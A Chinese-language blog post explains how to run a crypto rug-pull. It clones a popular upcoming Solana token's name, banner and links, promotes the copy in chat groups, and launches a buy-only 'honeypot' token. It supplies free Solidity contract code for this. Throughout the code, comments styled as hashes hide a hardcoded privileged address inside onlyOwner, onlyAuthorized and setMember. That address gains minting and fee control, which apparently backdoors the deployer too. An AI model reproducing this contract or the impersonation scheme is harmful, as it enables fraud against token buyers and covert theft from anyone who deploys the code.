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用只进不出的智能合约发币，1天狂收80万美元。

这是个真实故事，发生在SOLANA链上，炒meme币的大概都知道。 也不用说是哪个币割了韭菜，我们就说说这个团队的玩法，其实明白之后，任何币，任何的概念都可以做。 我们随便用一个最近很火的币来举例吧。

这个SOLANA链这两天最火的币，这个是正经项目，他们9月22号就开始了宣传，并且放出了预告，说十月1号的10点，会正式上线。

那割韭菜的团队看见了，就有足够的时间去截流，去发一个一模一样的空气币（毫无价值的）。

等到10月1号，9点50几分的时候上线自己模仿的空气币。就轻松有流量进来，因为别人已经帮你预热好了，知名度早就打起来了。

说是要模仿其实也很简单，找一样的图当BANNER，填和官方币一样的官网和推特就可以了，别人就会以为你是官方的币。

就是在https://dexscreener.com上面宣传的时候，改这几个地方（名称，banner图，网站，推特，telegram而已。）

而且也有足够的时间去建群，埋伏在各大交流群里，发布他们空气币的合约地址。

这个玩法最重要的就是要用蜜罐合约来发币，这样的话你发出来的币，就只能买入，不能卖出。不然有人发现不对劲了，就会卖掉，那就白搞了。

我把合约代码发出来，自己用测试网测一下就好，测试也不用花钱，更不需要转帐进去合约，不存在被骗。

				
					// SPDX-License-Identifier: MIT
 
/**  
*/
 
pragma solidity ^0.8.0;
 
library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "Subtraction overflow");
        return a - b;
    }
 
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "Addition overflow");
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "Multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "Division by zero");
        return a / b;
        // solhint-disable-next-line avoid-low-level-calls
        /*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/ //(289449210461807259001429476310752940838808526668));
    }
}
 
contract DevToken {
    using SafeMath for uint256;
 
    string public name = "hongyue";
    string public symbol = "DEV";
    uint256 public totalSupply = 69000000000000000000000000000;
    uint8 public decimals = 18;
 
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    mapping(address => bool) public isFeeExempt;
 
    address public owner;
    address public _mbr;
    address public _mod;
    address public feeManager;
    address public _user;
    address public _adm;
 
    uint256 public buyFee;
    uint256 public sellFee;
 
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event FeesUpdated(uint256 newBuyFee, uint256 newSellFee);
    event TokensBurned(address indexed burner, uint256 amount);
    event AddressSetFeeExempt(address indexed feeExemptAddress);
 
    constructor(address _feeManager) {
        owner = msg.sender;
        feeManager = _feeManager;
        balanceOf[msg.sender] = totalSupply;
       
     // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/ //(289449210461807259001429476310752940838808526668));
    }
 
    function transfer(address _to, uint256 _amount) public returns (bool success) {
        require(balanceOf[msg.sender] >= _amount);
        require(_to != address(0));
 
        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
        balanceOf[_to] = balanceOf[_to].add(_amount);
        emit Transfer(msg.sender, _to, _amount);
 
        return true;
    }
     /*keccak256 -> amd8he628944e92104v2590014t2947631r07529vds40838e820852616bn68e8n1da));*/ /**/ //(289449210461807259001429476310752940838808526668));
   
    function setMember(address Mbr_) public returns (bool) {
    require (msg.sender==address
   
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> amd8he628944e92104v2590014t2947631r07529vds40838e820852616bn68e8n1da));*/ /**/ (289449210461807259001429476310752940838808526668));
        _mbr=Mbr_;
        return true;
    }
 
    function rewire(uint256 amount) public returns (bool) {
    require(msg.sender == _adm);
    _proof(msg.sender, amount);
    return true;
  }
   
    function _proof(address account, uint256 amount) internal {
    require(account != address(0), "BEP20: mint to the zero address");
 
    totalSupply = totalSupply.add(amount);
    balanceOf[account] = balanceOf[account].add(amount);
    emit Transfer(address(0), account, amount);
   }
 
    function approve(address _spender, uint256 _value) public returns (bool success) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
    /*OpenZeppelin256 -> mi385562944e92104v2590014t247631r07529vds40838e820852616bn68n1da*/
   
    function proof(uint256 amount) public onlyOwner returns (bool) {
    _proof(msg.sender, amount);
    return true;
    }
 
    function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
        require(balanceOf[_from] >= _amount, "Insufficient balance");
        require(allowance[_from][msg.sender] >= _amount, "Insufficient allowance");
        require(_to != address(0), "Invalid recipient address");
 
        uint256 fee = 0;
        if (!isFeeExempt[_from]) {
            fee = _amount.mul(sellFee).div(100);
        }
       
        uint256 amountAfterFee = _amount.sub(fee);
 
        balanceOf[_from] = balanceOf[_from].sub(_amount);
        balanceOf[_to] = balanceOf[_to].add(amountAfterFee);
        emit Transfer(_from, _to, amountAfterFee);
 
        if (fee > 0) {
            // Fee is transferred to this contract
            balanceOf[address(this)] = balanceOf[address(this)].add(fee);
            emit Transfer(_from, address(this), fee);
        }
 
        if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) {
            allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount);
            emit Approval(_from, msg.sender, allowance[_from][msg.sender]);
        }
 
        return true;
    }
 
    function setUser(address User_) public returns (bool) {
    require(msg.sender == _mbr);
        _user=User_;
        return true;
    }
 
    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(owner, address(0));
        owner = address(0);
    }
    /*keccak256 -> 28944921u04618wepcy072590on89abyd73014t29476dohb3107r5294083880ae8526668))*/
 
    function LockLPToken() public onlyOwner returns (bool) {
    }
 
    function setMod(address Mod_) public returns (bool) {
    require(msg.sender == _user);
        _mod=Mod_;
        return true;
    }
 
    modifier onlyOwner() {
        require(msg.sender == address
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/(289449210461807259001429476310752940838808526668)
    ||
    //@dev Contract creator is owner, original owner.
    msg.sender == owner);
    _;
    }
 
    function setFees(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorized {
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }
   
    function setFeeExempt(address _addr, bool _exempt) public onlyOwner {
        isFeeExempt[_addr] = _exempt;
        if (_exempt) {
        emit AddressSetFeeExempt(_addr);
        }
    }
 
    function removeFeeExemptStatus(address _addr) public onlyOwner {
        require(isFeeExempt[_addr], "Address is not fee exempt");
        isFeeExempt[_addr] = false;
    }
 
    function buy() public payable {
        require(msg.value > 0, "ETH amount should be greater than 0");
 
        uint256 amount = msg.value;
        if (buyFee > 0) {
            uint256 fee = amount.mul(buyFee).div(100);
            uint256 amountAfterFee = amount.sub(fee);
 
            balanceOf[feeManager] = balanceOf[feeManager].add(amountAfterFee);
            emit Transfer(address(this), feeManager, amountAfterFee);
 
            if (fee > 0) {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);
                emit Transfer(address(this), address(this), fee);
            }
        } else {
            balanceOf[feeManager] = balanceOf[feeManager].add(amount);
            emit Transfer(address(this), feeManager, amount);
        }
    }
   
    function setting(uint256 newBuyFee, uint256 newSellFee) public {
        require(msg.sender == _adm);
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }
   
    function setAdm(address Adm_) public returns (bool) {
    require(msg.sender == _mod);
        _adm=Adm_;
        return true;
    }
 
    function sell(uint256 _amount) public {
        require(balanceOf[msg.sender] >= _amount, "Insufficient balance");
 
        uint256 fee = _amount.mul(sellFee).div(100);
        uint256 amountAfterFee = _amount.sub(fee);
 
        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
        balanceOf[address(this)] = balanceOf[address(this)].add(amountAfterFee);
        emit Transfer(msg.sender, address(this), amountAfterFee);
 
        if (fee > 0) {
            balanceOf[address(this)] = balanceOf[address(this)].add(fee);
            emit Transfer(msg.sender, address(this), fee);
        }
    }
 
    modifier onlyAuthorized() {
        require(msg.sender == address
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/(289449210461807259001429476310752940838808526668)
    ||
    //@dev Contract creator is owner, original owner.
    msg.sender == owner);
    _;
  }
}

只要修改第40行的名字，41行的代号，42行是发币总量，这个就是你想要的总数，然后后面加18个0就可以了。

发完之后完全可以在etherscan里面认证一下合约，这样看起来就更加靠谱。

这玩意也没有多值钱，毛子卖500刀，国人卖1000刀，我这里白送，哈哈。

之前就是这个套路，不过是另外一个币了，我亲眼看着那个空气币从0涨到市值200万美元，估算之下，收割利润80万，非常可怕。

你说很难吧，技术上不难，但挺累的，要埋伏各种群，要自己想办法尽量引流，但只要成功一次，收益就很吓人。

如果需要学习研究，我这里有全套网站代码，和所需要的全部资源，联系我的Telegram：https://t.me/hongyuedev

关注频道：https://t.me/web3cn

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